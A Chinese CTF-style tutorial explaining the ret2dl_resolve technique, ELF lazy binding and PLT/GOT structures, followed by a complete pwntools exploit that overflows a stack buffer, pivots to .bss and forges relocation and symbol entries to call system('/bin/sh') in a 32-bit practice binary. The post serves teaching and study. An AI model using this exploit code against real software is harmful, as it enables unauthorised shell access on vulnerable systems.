cannot resolve symbol什么意思_ret2_dl_resolve原理和案例分析

957f897ca028ab10b24b36b646d58778.png

原创:华电合粉俱乐部合天智汇

从一个简单程序说起

在只有一个二进制程序 dl_resolve 的情况下, 先侦查一下程序

file 看一下dl_resolve

ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1d1069f4b385c33f75c952c01264077e6787441c, stripped

(stripped 表示符号表已被删除, 在调试的时候就不能直接在函数名上打断点,因为函数名(符号) 已经被删除)。

根据编译命令我们得知,dl_resolve 开了堆栈保护但没有开启PIE(就算系统开启ASLR也没关系), 再次确认一下

07ff41d0ff518a4be91e5b8ec7431cf0.png
图1

到此为止,外围的侦查已经完成。

获取的信息有:

1、32位程序。

2、堆栈不可执行。

3、没有地址随机化。

4、只有二进制程序。(没有lib.so 意味着没有办法泄露地址)。

接下来将程序放到IDA中分析

6b695ec53a3e607d354ec8b2a1bbb788.png
图2

5d4d9380ba8319a6813a7490ffff6368.png
图3

可以看到程序非常简单, 在函数 sub_80484EB() 存在栈溢出。

68cd807534bff1e490d1cd2e1c946710.png
图4

(buf的空间 0x6c 小于 输入的最大长度 0x100 造成栈溢出)。 溢出我们可以控制sub_80484EB() 的函数地址, 但问题是返回到那个地址? 即使我们可以返回到通用gadget的位置, 因为没有库文件没办法泄露 system() 的地址,最终也是无法getshell。所以我们要另辟蹊径, 在2015年国外大神在一篇论文中提出了劫持动态链接器,让动态链接器去解析我们指定函数的地址并且执行该函数。 如果放在这个题目上我们可以控制动态链接器去解析system函数的地址,然后执行system函数,这样就能getshell了。

动态链接器是如何解析函数地址的(以read函数为例)

先简单说下动态链接器的概念,我们现在在Linux平台下看到的程序大都是ELF文件格式的。 而且大部分是动态链接的,动态链接的出现主要是为了解决内存的浪费问题。 在静态链接时期程序所依赖的库都是直接链接到二进制程序里的。 比如有两个helloworld的程序都用到了printf函数,如果是静态链接那么在这两个的程序的内存空间里都包含printf函数。 但如果是动态链接的话,两个程序各只引用printf这个符号。 然后内存保存printf函数的一份拷贝,这样就节省了一部分空间。在helloworld程序运行的时候就需要把真正的printf函数的地址填充到hellworld程序中去。 做这个工作的正是动态链接器。

言归正传,为了更加清楚的演示。 我们使用gdb来调试dl_resolve 。

在 0x80484eb 处下断点,运行到如下图所示处:

77f7ae221225ceb393cc0bd57b5c136f.png
图5

d42bfe71cce948d90603da53f8e68cb3.png
图6

然后 si 跟进

a2c8fa67e72f1b0cdcb5c586cef08466.png
图7

此时查看一下0x804a014地址处的内容

6097cfa46f279a1c56dbf60b1e8573b1.png
图8

发现内容值正好是下一条指令的地址,为什么是这样我们稍后解析。再继续执行。

a157c09e3076f92ceae502a2db24e508.png
图9

到这之后我们再次查看0x804a014地址处的内容

1e5730e87b1fda46a7a416a9a220aae2.png
图10

发现内容已经更改。更改的内容正是read函数在内存中真正的地址。然后再继续往下执行,然后看到

59729cd288eddcceaf2c4d826fe32167.png
图11

此时已经开始执行read函数了。以上过程展示了动态链接器解析和执行read函数的过程。接下来我们仔细探究这一过程。

延迟绑定

在动态链接下,程序模块之间包含了大量的函数引用,所以在程序开始执行前,动态链接会耗费不少时间用于解决模块之间的函数引用的符号查找以及重定位。为了提高动态链接的效率ELF文件采用延迟绑定的技术,其基本思想就是当函数第一次被用到时才进行绑定(符号查找,重定位等)。 ELF使用PLT(Procedure Linkage Table)来实现延迟绑定。在图4 中看到的 read@plt 就表示了对于read函数的调用采用了延迟绑定的方法。一般来说外部函数逇plt实现如下(以read为例)

read@plt: jmp *(read@GOT) push n push 保存当前程序的.dynamic的link_map指针 jump _dl_runtime_resolve()

(后面这两行统一被放在PLT表开始, 因为所有的外部函数PLT表项都含这两行)read@Got 代表Got表中存储read函数地址的地址(外部函数的地址都在Got表中存储),延迟绑定的具体过程是:在调用read函数前 read@Got填充的是下一条指令的地址,比如ds:0x804a010 的内容是0x80483a6 就是相对于当前指令的下一条指令地址。这样相当于没跳转,接着开始执行符号解析的过程,当解析出真正的read函数地址,填充到read@Got,然后跳转到read@Got保存的地址处执行read函数。

对应到图6 我们看到

dc29ab9dd80cdd3787ed3cef1e4a7121.png
图12

789719c876539082681241e6df979181.png
图13

Got表的前两项有特殊意义:

GOT[1]:一个指向内部数据结构的指针,类型是 linkmap,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 linfo域中保存了 .dynamic 段中大多数条目的指针构成的一个数组,我们后面会利用它。

GOT[2]:一个指向动态装载器中 dlruntimeresolve 函数的指针。PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。函数使用参数 linkmapobj 来获取解析导入函数(使用 relocindex 参数标识)需要的信息,并将结果写到正确的 GOT 条目中。在 dlruntime_resolve解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。

动态链接器进行符号解析的过程

dlruntime_resolve 的过程如下图所示:

ff1480b9832cf69bb348254383b8bfa5.png
图14

在解释这张图之前我了解图上的符号都是什么意思。ELF中有几个段是专门用于动态链接的,比如.dynamic段,.dynsym段(动态链接符号表),.dynstr(动态链接字符串表)。 已经和重定位有关的 .rel.dyn 和 .rel.plt 前者保存数据引用的重定位信息,所修正的位置位于.got以及数据段。后者保存函数引用的重定位信息,所修正的位置位于.got.plt。下面一次介绍下这几个段的数据结构:

typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn;

Elf32_Dyn 结构由一个类型值加上一个附加的数据或指针,对于不同类型,后面附加的数值或者指针有着不同含义,列举几个比较常见的类型值

e5e2e041ba0de85b65c50d6f5e33c028.png
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index ) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym

动态链接符号表和符号表的数据接口相同的,只不过前者只包含与动态链接有关的符号,下面对各个成员的意义进行说明:

d05026ffcec8f8d59e408321fa86559a.png

符号类型和绑定信息(st_info):该成员低4位表示符号的类型,高4位表示符号绑定信息(此处《程序员的自我修养》P82页表述是高28位表示符号绑定信息,但unsigned char 就占8位啊。 ),如下表所示

f439acaa0b61c02a7622373f3a27b2fd.png
struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel;

3e5c583d36934059143511b79ca3c344.png

dynstr表就是用于集中存储和动态链接相关的字符串。 然后使用字符串在表中的偏移来引用字符串。

图11中表示的dlruntime_resolve(动态链接器) 的工作过程如下:

首先根据relocindex 获取符号在重定位表中的表项地址。 获取符号地址的存放位置(roffset),以及该符号的类型和动态链接符号表表项的偏移(Elf32Sym)。接着根据符号表项中的信息获取该符号的符号名在动态链接字符串表中的下标(stname),以及该符号的符号类型和绑定信息。然后调用 _fixup() 函数找到该符号在内存中的真正地址,并填充到r_offset指定的位置(Got表),最后跳转真正的函数入口处执行。

总结一下:动态链接器进行符号解析用到的关键信息有 relocindex,Elf32Rel ,Elf32Sym , 已经符号名字符串。最最关键的是relocindex, 动态链接器同构relocindex 去找要进行重定位的符号。 问题在于动态链接器并没检查relocindex(貌似也没法检查)。在32位系统上relocindex 是通过通过压栈传递的。 所以只要存在栈溢出,就可以将自定义的relocindex提前布置到栈上,覆盖返回地址到PLT[0]。就可以让动态链接器去我们指定的位置找重定位表项, 符号表项,符号名。只要伪造的这些表项正确, 那么动态链接器就可以解析出我们想要解析的符号,比如System。进而getshell。

ret2dlresove漏洞利用

了解了动态链接器的工作原理和利用思路,接下来以文章最开始提到的程序作为练习。

1. 确定ret地址

我们要让程序解析system函数的地址,就需要让程序将我们伪造的 system 的重定位表项,符号表, 符号名以及system的参数读入内存中。因此首先控制sub_80484EB()函数返回到read函数执行。

from pwn import * import pdb context.log_level = 'debug' #context.terminal = ['tmux', 'spiltw', '-h'] elf = ELF('./dl_resolve') pppr_addr = 0x08048609 # pop esi ; pop edi ; pop ebp ;ret pop_ebp_addr = 0x0804860b # pop ebp ; ret leave_ret_addr = 0x08048458 # leave ; ret read_plt = elf.plt['read'] bss_addr = elf.get_section_by_name('.bss').header.sh_addr base_addr = bss_addr + 0x550 #存在伪造表项内存地址 payload_1 = "A" * 112 payload_1 += p32(read_plt) payload_1 += p32(pppr_addr) #调整堆栈 payload_1 += p32(0) # 第一个参数 stdin payload_1 += p32(base_addr) # 第二个参数 buf payload_1 += p32(100) # 第三个参数 len payload_1 += p32(pop_ebp_addr) # 与 leave_ret_addr 配合完成堆栈转移 payload_1 += p32(base_addr) # payload_1 += p32(leave_ret_addr) io.send(payload_1)

2. 伪造表项

计算偏移的公式为:offset= 目的– 基址。根据上文对各个表项结构的分析我们有:

plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c bss_addr = elf.get_section_by_name('.bss').header.sh_addr reloc_index = base_addr + 28 - rel_plt # 28是个自定义的数字,表示rel的偏移 fake_sym_addr = base_addr + 36 # 36是个自定义的数字,表示 fake_sym的偏移 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #因为符号表每项的大小正好是 16字节, fake_sym_addr = fake_sym_addr + align # 伪造的地址应该也和16字节对齐 r_sym = (fake_sym_addr - dynsym) / 0x10 # 计算下标 r_type = 0x7 # 对应函数 此值是固定的 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(read_got) + p32(r_info) #此处借用read@got在存system地址 st_name = fake_sym_addr + 0x10 - dynstr # system字符串存储的位置 st_bind = 0x1 # 含义见上文符号绑定信息 st_type = 0x2 # 含义见上文符号类型 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) #真正用到的是 st_name 和 st_info

3. 读入伪造的表项

#堆栈转移后ebp的内容 payload_2 += p32(plt_0) #leave_ret 到 plt_0 payload_2 += p32(reloc_index) payload_2 += "AAAA" #call read@plt 的返回地址 payload_2 += p32(base_addr + 80) # system的参数 payload_2 += "AAAA" payload_2 += "AAAA" payload_2 += fake_reloc payload_2 += "A" * align payload_2 += fake_sym payload_2 += "systemx00" payload_2 += "A" * (80 - len(payload_2)) payload_2 += "/bin/shx00" # 参数字符串 payload_2 += "A" * (100 - len(payload_2)) #pdb.set_trace() io.sendline(payload_2) io.interactive()

4. getshell

先模拟程序远程启动:

socat tcp4-listen:10001,reuseaddr,fork exec:./dl_resolve &

执行脚本 获取shell

da0b38830fb9f5f9f0b74db5dc9d506f.png
图15

5. 调试建议:

1) 建议使用gdb.debug() 函数来本地调试, 方便下断点。

2) 利用pdb在exp设断点, 可以在脚本调试过程中断下。 方便我们查看内存。

最后附上利用过程图示和源码

1018b583ba9c67b142f316161e52002e.png
图:16 请忽略文字部分
* import pdb context.log_level = 'debug' #context.terminal = ['tmux', 'spiltw', '-h'] elf = ELF('./dl_resolve') pppr_addr = 0x08048609 # pop esi ; pop edi ; pop ebp ;ret pop_ebp_addr = 0x0804860b # pop ebp ; ret leave_ret_addr = 0x08048458 # leave ; ret write_plt = elf.plt['write'] write_got = elf.got['write'] read_plt = elf.plt['read'] plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028 #io = gdb.debug('./dl_resolve', 'b main') #io = process('./dl_resolve') io = remote('127.0.0.1', 10001) #base_addr = bss_addr + 0x600 # 0x804a628 base_addr = bss_addr + 0x550 payload_1 = "A" * 112 payload_1 += p32(read_plt) payload_1 += p32(pppr_addr) payload_1 += p32(0) payload_1 += p32(base_addr) payload_1 += p32(100) payload_1 += p32(pop_ebp_addr) payload_1 += p32(base_addr) payload_1 += p32(leave_ret_addr) io.send(payload_1) reloc_index = base_addr + 28 - rel_plt fake_sym_addr = base_addr + 36 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) fake_sym_addr = fake_sym_addr + align r_sym = (fake_sym_addr - dynsym) / 0x10 r_type = 0x7 r_info = (r_sym << 8) + (r_type & 0xff) fake_reloc = p32(write_got) + p32(r_info) st_name = fake_sym_addr + 0x10 - dynstr st_bind = 0x1 st_type = 0x2 st_info = (st_bind << 4) + (st_type & 0xf) fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info) payload_2 = "AAAA" payload_2 += p32(plt_0) payload_2 += p32(reloc_index) payload_2 += "AAAA" #return_addr payload_2 += p32(base_addr + 80) #arg payload_2 += "AAAA" payload_2 += "AAAA" payload_2 += fake_reloc payload_2 += "A" * align payload_2 += fake_sym payload_2 += "systemx00" payload_2 += "A" * (80 - len(payload_2)) payload_2 += "/bin/shx00" payload_2 += "A" * (100 - len(payload_2)) #pdb.set_trace() io.sendline(payload_2) io.interactive()

dl_resolve.c

#include <stdio.h> #include <unistd.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF~!n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; } # gcc dl_resolve.c -o dl_resolve -fno-stack-protector -no-pie -s -m32

参考资料:

firmianay/CTF-All-In-One​github.com
670726b29251e30a8627fc704e15e7de.png
https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-di-frederico.pdf​www.usenix.org

《程序员的自我修养》

欢迎各位童鞋就文章中的问题一起交流,一起happy!

联系我: 18511771015@163.com 。

本文为合天原创,未经允许,严禁转载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值